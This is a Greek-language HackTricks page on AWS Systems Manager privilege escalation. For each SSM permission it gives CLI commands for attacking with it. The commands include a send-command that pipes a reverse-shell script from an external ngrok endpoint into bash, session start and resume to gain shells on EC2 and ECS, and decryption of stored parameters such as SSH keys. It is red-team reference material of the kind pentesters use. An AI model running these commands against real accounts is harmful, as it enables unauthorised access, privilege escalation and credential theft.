AWS - SSM Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

SSM

Για περισσότερες πληροφορίες σχετικά με το SSM, ελέγξτε:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ένας επιτιθέμενος με την άδεια ssm:SendCommand μπορεί να εκτελέσει εντολές σε παραδείγματα που εκτελούν τον Amazon SSM Agent και να θέσει σε κίνδυνο τον ρόλο IAM που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων στους ρόλους EC2 IAM που είναι συνδεδεμένοι με εκτελούμενες περιπτώσεις με ενεργό SSM Agent.

ssm:StartSession

Ένας επιτιθέμενος με την άδεια ssm:StartSession μπορεί να ξεκινήσει μια συνεδρία παρόμοια με το SSH σε περιπτώσεις που εκτελούν τον Amazon SSM Agent και να θέσει σε κίνδυνο τον ρόλο IAM που εκτελείται μέσα σε αυτόν.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το εργαλείο SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων στους ρόλους EC2 IAM που είναι συνδεδεμένοι με τις εκτελούμενες περιπτώσεις με ενεργοποιημένο το SSM Agent.

Αύξηση Προνομίων στο ECS

Όταν τα ECS tasks εκτελούνται με την επιλογή ExecuteCommand ενεργοποιημένη, οι χρήστες με επαρκή δικαιώματα μπορούν να χρησιμοποιήσουν την εντολή ecs execute-command για να εκτελέσουν μια εντολή μέσα στο container. Σύμφωνα με την τεκμηρίωση, αυτό επιτυγχάνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την εντολή "exec" και του προορισμένου container με το SSM Session Manager. Επομένως, οι χρήστες με ssm:StartSession θα μπορούν να αποκτήσουν ένα κέλυφος μέσα στα ECS tasks με αυτήν την επιλογή εκτελώντας απλά:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων στους ρόλους ECSIAM που είναι συνδεδεμένοι με εκτελούμενες εργασίες με ενεργοποιημένη την ExecuteCommand.

ssm:ResumeSession

Ένας επιτιθέμενος με την άδεια ssm:ResumeSession μπορεί να επανεκκινήσει μια συνεδρία παρόμοια με το SSH σε αντίγραφα που εκτελούν τον Amazon SSM Agent με μια αποσυνδεδεμένη κατάσταση συνεδρίας SSM και να θέσει σε κίνδυνο τον ρόλο IAM που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων στους ρόλους EC2 IAM που είναι συνδεδεμένοι με εκτελούμενες περιπτώσεις με ενεργούς SSM Agents και αποσυνδεδεμένες συνεδρίες.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ένας επιτιθέμενος με τα αναφερόμενα δικαιώματα θα μπορεί να καταλογογραφήσει τις παραμέτρους SSM και να τις διαβάσει σε καθαρό κείμενο. Σε αυτές τις παραμέτρους μπορεί συχνά να βρει ευαίσθητες πληροφορίες όπως κλειδιά SSH ή κλειδιά API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Πιθανές Επιπτώσεις: Εύρεση ευαίσθητων πληροφοριών μέσα στις παραμέτρους.

ssm:ListCommands

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να καταλογογραφήσει όλες τις εντολές που έχουν σταλεί και ελπίζει να βρει ευαίσθητες πληροφορίες σε αυτές.

aws ssm list-commands

Πιθανές Επιπτώσεις: Εύρεση ευαίσθητων πληροφοριών μέσα στις γραμμές εντολών.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να καταλογογραφήσει όλες τις εντολές που έχουν σταλεί και να διαβάσει την έξοδο που παράγεται, ελπίζοντας να βρει επάνω της ευαίσθητες πληροφορίες.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Πιθανές Επιπτώσεις: Βρείτε ευαίσθητες πληροφορίες μέσα στην έξοδο των γραμμών εντολών.

Codebuild

Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα έργο codebuild που εκτελείται:

pageAWS - Codebuild Privesc
Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated